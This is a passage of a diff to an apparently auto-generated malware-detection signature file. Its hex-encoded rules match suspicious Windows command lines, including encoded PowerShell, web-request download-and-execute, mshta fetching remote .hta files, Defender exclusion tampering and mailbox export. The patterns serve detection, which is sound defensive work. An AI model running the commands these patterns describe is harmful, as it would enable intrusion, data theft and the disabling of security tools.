1)*19539+(#a_00_5 & 1)*101) >=11 - -} -rule _InfrastructureShared_25961{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 06 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 50 4d 4c 5f 53 75 73 70 43 6f 6d 6d 61 6e 64 2e 41 00 01 00 20 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 01 00 0c 00 20 00 2d 00 } //21283 - $a_00_1 = {63 00 20 00 01 00 08 00 20 00 2d 00 65 00 20 00 01 00 22 00 20 00 2d 00 45 00 6e 00 63 00 6f 00 64 00 65 00 64 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 00 00 e7 46 00 00 00 28 1a 00 21 23 } //101 - $a_3a_2 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 46 41 70 70 73 5f 4d 61 6c 69 63 69 6f 75 73 43 4d 44 2e 41 a3 c7 0f 93 ec 67 04 e3 e6 e6 d1 c2 ad bc ea f2 31 f2 ac da d1 05 ad d7 c2 e3 e7 5e 00 00 00 14 46 00 21 23 54 } //19521 - $a_41_3 = {47 52 3a 56 42 41 5f 53 74 6f 6d 70 e3 77 77 93 ec 6a c3 c3 f2 31 80 04 f2 ea 80 6a e7 fc 8f ad e6 44 14 e3 c7 ac da 0b 31 80 93 ac da 1e f2 3f 80 d1 8f ad e6 44 14 e3 67 05 } //19525 - $a_93_4 = {da 1e f2 3f 80 d1 8f ad e6 44 14 e3 67 bc 1e 31 18 80 13 e7 63 00 00 00 1a 45 00 21 23 54 45 4c 3a 53 75 73 4b 65 72 6e 65 6c 49 6d 70 6f 72 74 21 61 6d 73 69 a3 c7 0f 93 ec 67 c7 78 c7 da d1 00 80 0b 3f 80 ea 17 73 e6 ac 0b 1e 12 e3 67 17 8f e7 89 e3 ec 04 f2 ea 80 c7 f2 52 80 e7 fc 9a 33 33 33 fe e3 8f e7 da bc ec 17 d1 d7 ac 1e f8 80 1e e3 ad c7 17 c7 31 bc 3f e7 67 00 00 00 26 } //5036 - $a_23_5 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 63 69 6e 67 42 6d 54 72 69 67 67 65 72 2e } //61 LF:Trojan:Win32/GracingBmTrigger. - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_3a_2 & 1)*19521+(#a_41_3 & 1)*19525+(#a_93_4 & 1)*5036+(#a_23_5 & 1)*61) >=11 - -} -rule _InfrastructureShared_25962{ +rule _InfrastructureShared_27322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " @@ -339894,18 +357513,30 @@ rule _InfrastructureShared_25962{ ((#a_46_0 & 1)*21283+(#a_53_1 & 1)*8448) >=20 } -rule _InfrastructureShared_25963{ +rule _InfrastructureShared_27323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 54 61 6d 70 65 72 41 64 53 79 6e 63 2e 41 00 0a 00 1e 01 5c 00 53 00 71 00 6c 00 4c 00 6f 00 63 00 61 00 6c 00 44 00 42 00 2e 00 65 00 78 00 65 00 0a 00 22 01 73 00 74 00 6f 00 70 00 } //21283 - $a_00_1 = {5c 00 41 00 44 00 53 00 79 00 6e 00 63 00 32 00 30 00 31 00 39 00 00 00 d7 97 00 00 96 00 96 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e } //32 + $a_00_1 = {5c 00 41 00 44 00 53 00 79 00 6e 00 63 00 32 00 30 00 31 00 39 00 00 00 d7 97 00 00 0b 00 0b 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e } //32 condition: ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32) >=20 } -rule _InfrastructureShared_25964{ +rule _InfrastructureShared_27324{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 53 68 61 72 65 50 6f 69 6e 74 41 63 74 69 76 69 74 79 2e 41 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 0e 00 63 00 } //21283 + $a_00_1 = {2e 00 65 00 78 00 65 00 0a 00 2d 02 5c 00 31 00 90 01 02 5c 00 74 00 65 00 6d 00 70 00 6c 00 61 00 74 00 65 00 5c 00 6c 00 61 00 79 00 6f 00 75 00 74 00 73 00 5c 00 90 00 00 00 d7 97 00 00 96 00 96 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 4d 61 69 6c 62 6f 78 45 } //109 + $a_72_2 = {2e 41 00 32 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 32 00 30 00 4e 00 65 00 77 00 2d 00 4d 00 61 00 69 00 6c 00 62 00 6f 00 78 00 45 00 78 00 70 00 6f 00 72 00 74 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 32 00 10 00 2d 00 4d 00 61 00 69 00 6c 00 62 00 6f 00 78 00 00 00 d7 a5 } //28792 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*109+(#a_72_2 & 1)*28792) >=11 + +} +rule _InfrastructureShared_27325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff96 00 ffffff96 00 03 00 21 " @@ -339916,7 +357547,7 @@ rule _InfrastructureShared_25964{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*105) >=150 } -rule _InfrastructureShared_25965{ +rule _InfrastructureShared_27326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -339928,7 +357559,7 @@ rule _InfrastructureShared_25965{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*118+(#a_33_2 & 1)*26967) >=11 } -rule _InfrastructureShared_25966{ +rule _InfrastructureShared_27327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -339938,7 +357569,7 @@ rule _InfrastructureShared_25966{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_25967{ +rule _InfrastructureShared_27328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc8 00 ffffffc8 00 04 00 21 " @@ -339949,7 +357580,21 @@ rule _InfrastructureShared_25967{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110) >=200 } -rule _InfrastructureShared_25968{ +rule _InfrastructureShared_27329{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 77 6e 6c 6f 61 64 45 78 65 63 53 65 72 76 65 72 2e 41 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 12 00 2d 00 6f 00 75 00 74 00 66 00 69 00 6c 00 } //21283 + $a_00_1 = {01 00 06 00 69 00 77 00 72 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 } //101 + $a_00_2 = {65 00 71 00 75 00 65 00 73 00 74 00 ce ff 10 00 2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 ce ff 2c 00 26 00 78 00 2d 00 61 00 6d 00 7a 00 2d 00 73 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 2d 00 74 00 6f 00 6b 00 65 00 6e 00 3d 00 00 00 d7 e2 00 00 32 00 32 00 05 00 21 23 53 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 53 } //98 + $a_47_3 = {63 49 6e 73 74 61 6c 6c 2e 41 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 54 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 45 00 6e 00 74 00 65 00 72 00 70 00 72 00 69 00 73 00 65 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 2e 00 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 2e 00 50 00 75 } //29557 + $a_00_5 = {68 00 0a 00 18 00 2e 00 47 00 61 00 63 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 28 00 0a 00 0c 00 61 00 70 00 70 00 63 00 6d 00 64 00 0a 00 14 00 61 00 64 00 64 00 20 00 6d 00 6f 00 64 00 75 00 6c 00 65 00 00 00 d7 f2 00 00 1e 00 1e 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 74 64 73 45 78 66 69 6c 2e 49 00 0a 00 } //105 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*98+(#a_47_3 & 1)*29557+(#a_00_5 & 1)*105) >=21 + +} +rule _InfrastructureShared_27330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,32 00 32 00 05 00 21 " @@ -339962,7 +357607,7 @@ rule _InfrastructureShared_25968{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_00_2 & 1)*100+(#a_6e_3 & 1)*27247) >=50 } -rule _InfrastructureShared_25969{ +rule _InfrastructureShared_27331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 04 00 21 " @@ -339973,7 +357618,7 @@ rule _InfrastructureShared_25969{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*104) >=30 } -rule _InfrastructureShared_25970{ +rule _InfrastructureShared_27332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 07 00 21 " @@ -339987,7 +357632,7 @@ rule _InfrastructureShared_25970{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*105+(#a_00_4 & 1)*101+(#a_4e_5 & 1)*0+(#a_00_6 & 1)*48) >=21 } -rule _InfrastructureShared_25971{ +rule _InfrastructureShared_27333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff96 00 ffffff96 00 05 00 21 " @@ -340000,7 +357645,7 @@ rule _InfrastructureShared_25971{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_00_3 & 1)*84+(#a_00_4 & 1)*104) >=150 } -rule _InfrastructureShared_25972{ +rule _InfrastructureShared_27334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 0f 00 21 " @@ -340021,7 +357666,7 @@ rule _InfrastructureShared_25972{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*117+(#a_00_3 & 1)*100+(#a_00_6 & 1)*100+(#a_65_7 & 1)*26998+(#a_00_8 & 1)*101+(#a_00_9 & 1)*105+(#a_00_10 & 1)*111+(#a_00_11 & 1)*115+(#a_00_12 & 1)*1+(#a_53_13 & 1)*8448+(#a_00_14 & 1)*115) >=31 } -rule _InfrastructureShared_25973{ +rule _InfrastructureShared_27335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 0f 00 21 " @@ -340041,7 +357686,7 @@ rule _InfrastructureShared_25973{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_3 & 1)*101+(#a_00_4 & 1)*115+(#a_00_5 & 1)*109+(#a_00_6 & 1)*-50+(#a_34_7 & 1)*0+(#a_00_9 & 1)*105+(#a_00_10 & 1)*97+(#a_00_12 & 1)*32+(#a_00_14 & 1)*3) >=10 } -rule _InfrastructureShared_25974{ +rule _InfrastructureShared_27336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 12 00 21 " @@ -340067,7 +357712,7 @@ rule _InfrastructureShared_25974{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-5+(#a_00_5 & 1)*-5+(#a_00_6 & 1)*-5+(#a_00_7 & 1)*-5+(#a_00_8 & 1)*-5+(#a_00_9 & 1)*-5+(#a_00_10 & 1)*-5+(#a_00_11 & 1)*-5+(#a_00_12 & 1)*-5+(#a_02_13 & 1)*-5+(#a_00_14 & 1)*-5+(#a_00_15 & 1)*-5+(#a_00_16 & 1)*-5+(#a_4d_17 & 1)*0) >=1 } -rule _InfrastructureShared_25975{ +rule _InfrastructureShared_27337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 1b 00 21 " @@ -340094,7 +357739,7 @@ rule _InfrastructureShared_25975{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*109+(#a_00_4 & 1)*114+(#a_00_6 & 1)*110+(#a_00_7 & 1)*105+(#a_00_8 & 1)*54+(#a_00_9 & 1)*105+(#a_00_11 & 1)*115+(#a_d3_13 & 1)*0+(#a_00_14 & 1)*101+(#a_00_15 & 1)*112+(#a_00_17 & 1)*115+(#a_00_18 & 1)*117+(#a_00_20 & 1)*112+(#a_00_21 & 1)*116+(#a_00_22 & 1)*108+(#a_00_24 & 1)*110+(#a_00_26 & 1)*110) >=11 } -rule _InfrastructureShared_25976{ +rule _InfrastructureShared_27338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 1d 00 21 " @@ -340124,7 +357769,7 @@ rule _InfrastructureShared_25976{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_00_4 & 1)*100+(#a_00_6 & 1)*115+(#a_00_7 & 1)*560+(#a_00_8 & 1)*47+(#a_00_10 & 1)*115+(#a_00_12 & 1)*118+(#a_6c_13 & 1)*7936+(#a_00_14 & 1)*97+(#a_00_16 & 1)*109+(#a_00_18 & 1)*111+(#a_00_19 & 1)*47+(#a_00_21 & 1)*10+(#a_00_22 & 1)*10+(#a_00_23 & 1)*10+(#a_00_24 & 1)*10+(#a_00_25 & 1)*10+(#a_00_26 & 1)*10+(#a_00_27 & 1)*10+(#a_00_28 & 1)*10) >=1 } -rule _InfrastructureShared_25977{ +rule _InfrastructureShared_27339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 26 00 21 " @@ -340166,7 +357811,7 @@ rule _InfrastructureShared_25977{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*119+(#a_00_2 & 1)*111+(#a_00_4 & 1)*106+(#a_00_6 & 1)*101+(#a_00_7 & 1)*46+(#a_00_9 & 1)*109+(#a_10_10 & 1)*-28672+(#a_00_11 & 1)*101+(#a_02_13 & 1)*10+(#a_02_14 & 1)*10+(#a_02_15 & 1)*10+(#a_02_16 & 1)*10+(#a_00_17 & 1)*-100+(#a_00_18 & 1)*-100+(#a_00_19 & 1)*-100+(#a_00_20 & 1)*-100+(#a_00_21 & 1)*-100+(#a_00_22 & 1)*-100+(#a_00_23 & 1)*-100+(#a_00_24 & 1)*-100+(#a_00_25 & 1)*-100+(#a_00_26 & 1)*-100+(#a_00_27 & 1)*-100+(#a_00_28 & 1)*-100+(#a_43_29 & 1)*0+(#a_78_30 & 1)*14918+(#a_41_32 & 1)*8448+(#a_1e_33 & 1)*-894+(#a_f2_34 & 1)*-3573+(#a_73_35 & 1)*21295+(#a_61_36 & 1)*25978+(#a_4c_37 & 1)*21325) >=10 } -rule _InfrastructureShared_25978{ +rule _InfrastructureShared_27340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -340177,7 +357822,7 @@ rule _InfrastructureShared_25978{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*561) >=2 } -rule _InfrastructureShared_25979{ +rule _InfrastructureShared_27341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -340188,7 +357833,7 @@ rule _InfrastructureShared_25979{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97) >=2 } -rule _InfrastructureShared_25980{ +rule _InfrastructureShared_27342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 05 00 21 " @@ -340199,7 +357844,7 @@ rule _InfrastructureShared_25980{ ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*97) >=21 } -rule _InfrastructureShared_25981{ +rule _InfrastructureShared_27343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 05 00 21 " @@ -340210,7 +357855,7 @@ rule _InfrastructureShared_25981{ ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*112) >=21 } -rule _InfrastructureShared_25982{ +rule _InfrastructureShared_27344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 07 00 21 " @@ -340223,7 +357868,7 @@ rule _InfrastructureShared_25982{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*101+(#a_00_3 & 1)*97+(#a_00_5 & 1)*111) >=4 } -rule _InfrastructureShared_25983{ +rule _InfrastructureShared_27345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,09 00 09 00 09 00 21 " @@ -340238,7 +357883,7 @@ rule _InfrastructureShared_25983{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*101+(#a_00_3 & 1)*105+(#a_00_5 & 1)*108+(#a_00_6 & 1)*52+(#a_00_7 & 1)*116) >=9 } -rule _InfrastructureShared_25984{ +rule _InfrastructureShared_27346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 09 00 21 " @@ -340253,18 +357898,7 @@ rule _InfrastructureShared_25984{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*101+(#a_00_3 & 1)*46+(#a_00_5 & 1)*105+(#a_00_7 & 1)*45+(#a_8f_8 & 1)*-11780) >=6 } -rule _InfrastructureShared_25985{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 47 00 0a 00 0a 00 6d 00 73 00 68 00 74 00 61 00 0a 00 08 00 68 00 74 00 74 00 70 00 9c ff 08 00 2e 00 68 00 74 00 61 00 00 00 d7 56 00 00 02 00 02 00 02 00 21 } //21283 - $a_4c_1 = {57 69 6e 33 32 2f 50 65 72 73 69 73 74 65 6e 63 65 50 6f 77 65 72 73 68 65 6c 6c 45 78 65 63 2e 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0a 00 20 00 2d 00 65 00 6e } //21539 - condition: - ((#a_46_0 & 1)*21283+(#a_4c_1 & 1)*21539) >=20 - -} -rule _InfrastructureShared_25986{ +rule _InfrastructureShared_27347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -340274,7 +357908,7 @@ rule _InfrastructureShared_25986{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_25987{ +rule _InfrastructureShared_27348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -340284,7 +357918,7 @@ rule _InfrastructureShared_25987{ ((#a_4c_0 & 1)*21539) >=11 } -rule _InfrastructureShared_25988{ +rule _InfrastructureShared_27349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -340294,7 +357928,7 @@ rule _InfrastructureShared_25988{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_25989{ +rule _InfrastructureShared_27350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -340304,7 +357938,7 @@ rule _InfrastructureShared_25989{ ((#a_4c_0 & 1)*21539) >=11 } -rule _InfrastructureShared_25990{ +rule _InfrastructureShared_27351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -340314,7 +357948,7 @@ rule _InfrastructureShared_25990{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_25991{ +rule _InfrastructureShared_27352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 02 00 01 00 21 " @@ -340324,7 +357958,7 @@ rule _InfrastructureShared_25991{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_25992{ +rule _InfrastructureShared_27353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -340334,7 +357968,7 @@ rule _InfrastructureShared_25992{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_25993{ +rule _InfrastructureShared_27354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 02 00 02 00 21 " @@ -340345,7 +357979,7 @@ rule _InfrastructureShared_25993{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*99) >=2 } -rule _InfrastructureShared_25994{ +rule _InfrastructureShared_27355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 02 00 01 00 21 " @@ -340355,7 +357989,7 @@ rule _InfrastructureShared_25994{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_25995{ +rule _InfrastructureShared_27356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 21 " @@ -340368,7 +358002,7 @@ rule _InfrastructureShared_25995{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_00_2 & 1)*97+(#a_02_4 & 1)*101) >=4 } -rule _InfrastructureShared_25996{ +rule _InfrastructureShared_27357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -340378,7 +358012,7 @@ rule _InfrastructureShared_25996{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_25997{ +rule _InfrastructureShared_27358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " @@ -340391,7 +358025,7 @@ rule _InfrastructureShared_25997{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*118+(#a_00_2 & 1)*101+(#a_6e_3 & 1)*27247) >=1 } -rule _InfrastructureShared_25998{ +rule _InfrastructureShared_27359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 02 00 02 00 21 " @@ -340402,7 +358036,7 @@ rule _InfrastructureShared_25998{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*50) >=2 } -rule _InfrastructureShared_25999{ +rule _InfrastructureShared_27360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -340412,30 +358046,18 @@ rule _InfrastructureShared_25999{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_26000{ +rule _InfrastructureShared_27361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 03 00 21 " strings : $a_46_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 47 6f 6f 74 6b 69 74 2e 41 00 0a 00 29 02 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 90 02 ff 2c 00 73 00 74 00 61 00 72 00 74 00 90 00 0a 00 2b 02 72 00 75 } //16675 - $a_00_2 = {33 00 32 00 2e 00 65 00 78 00 65 00 90 02 ff 2c 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 90 00 0a 00 27 02 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 90 02 ff 2c 00 54 00 65 00 73 00 74 00 90 00 00 00 d7 ad 00 00 0b 00 0b 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 } //108 + $a_00_2 = {33 00 32 00 2e 00 65 00 78 00 65 00 90 02 ff 2c 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 90 00 0a 00 27 02 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 90 02 ff 2c 00 54 00 65 00 73 00 74 00 90 00 00 00 d7 b5 00 00 0b 00 0b 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 70 54 } //108 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*108) >=10 } -rule _InfrastructureShared_26001{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 04 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 46 00 0a 00 26 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 ff 20 00 2d 00 77 00 90 02 20 20 00 31 00 90 00 0a 00 26 02 70 00 6f 00 77 } //21283 - $a_00_2 = {65 00 6c 00 6c 00 90 02 ff 20 00 2d 00 77 00 90 02 20 20 00 68 00 90 00 01 00 08 00 68 00 74 00 74 00 70 00 9c ff 22 00 74 00 72 00 61 00 63 00 6b 00 6d 00 61 00 70 00 2e 00 65 00 70 00 69 00 63 00 2e 00 63 00 6f 00 6d 00 00 00 d7 b5 00 00 0b 00 0b 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //115 - $a_54_3 = {6d 70 65 72 42 75 6c 6b 45 78 63 6c 2e 53 43 00 05 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 05 00 22 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 01 00 20 00 73 00 65 00 74 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 } //19759 - condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*115+(#a_54_3 & 1)*19759) >=11 - -} -rule _InfrastructureShared_26002{ +rule _InfrastructureShared_27362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -340447,7 +358069,7 @@ rule _InfrastructureShared_26002{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*112+(#a_6d_3 & 1)*21616) >=11 } -rule _InfrastructureShared_26003{ +rule _InfrastructureShared_27363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -340457,7 +358079,7 @@ rule _InfrastructureShared_26003{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26004{ +rule _InfrastructureShared_27364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -340469,7 +358091,7 @@ rule _InfrastructureShared_26004{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*119+(#a_00_3 & 1)*119) >=4 } -rule _InfrastructureShared_26005{ +rule _InfrastructureShared_27365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 06 00 21 " @@ -340482,7 +358104,7 @@ rule _InfrastructureShared_26005{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*119+(#a_00_4 & 1)*99+(#a_00_5 & 1)*100) >=11 } -rule _InfrastructureShared_26006{ +rule _InfrastructureShared_27366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -340494,7 +358116,7 @@ rule _InfrastructureShared_26006{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*45+(#a_00_2 & 1)*112) >=11 } -rule _InfrastructureShared_26007{ +rule _InfrastructureShared_27367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 06 00 21 " @@ -340508,7 +358130,7 @@ rule _InfrastructureShared_26007{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*111+(#a_00_2 & 1)*101+(#a_00_4 & 1)*101+(#a_00_5 & 1)*47) >=11 } -rule _InfrastructureShared_26008{ +rule _InfrastructureShared_27368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 07 00 21 " @@ -340522,7 +358144,7 @@ rule _InfrastructureShared_26008{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*50+(#a_00_3 & 1)*48+(#a_00_4 & 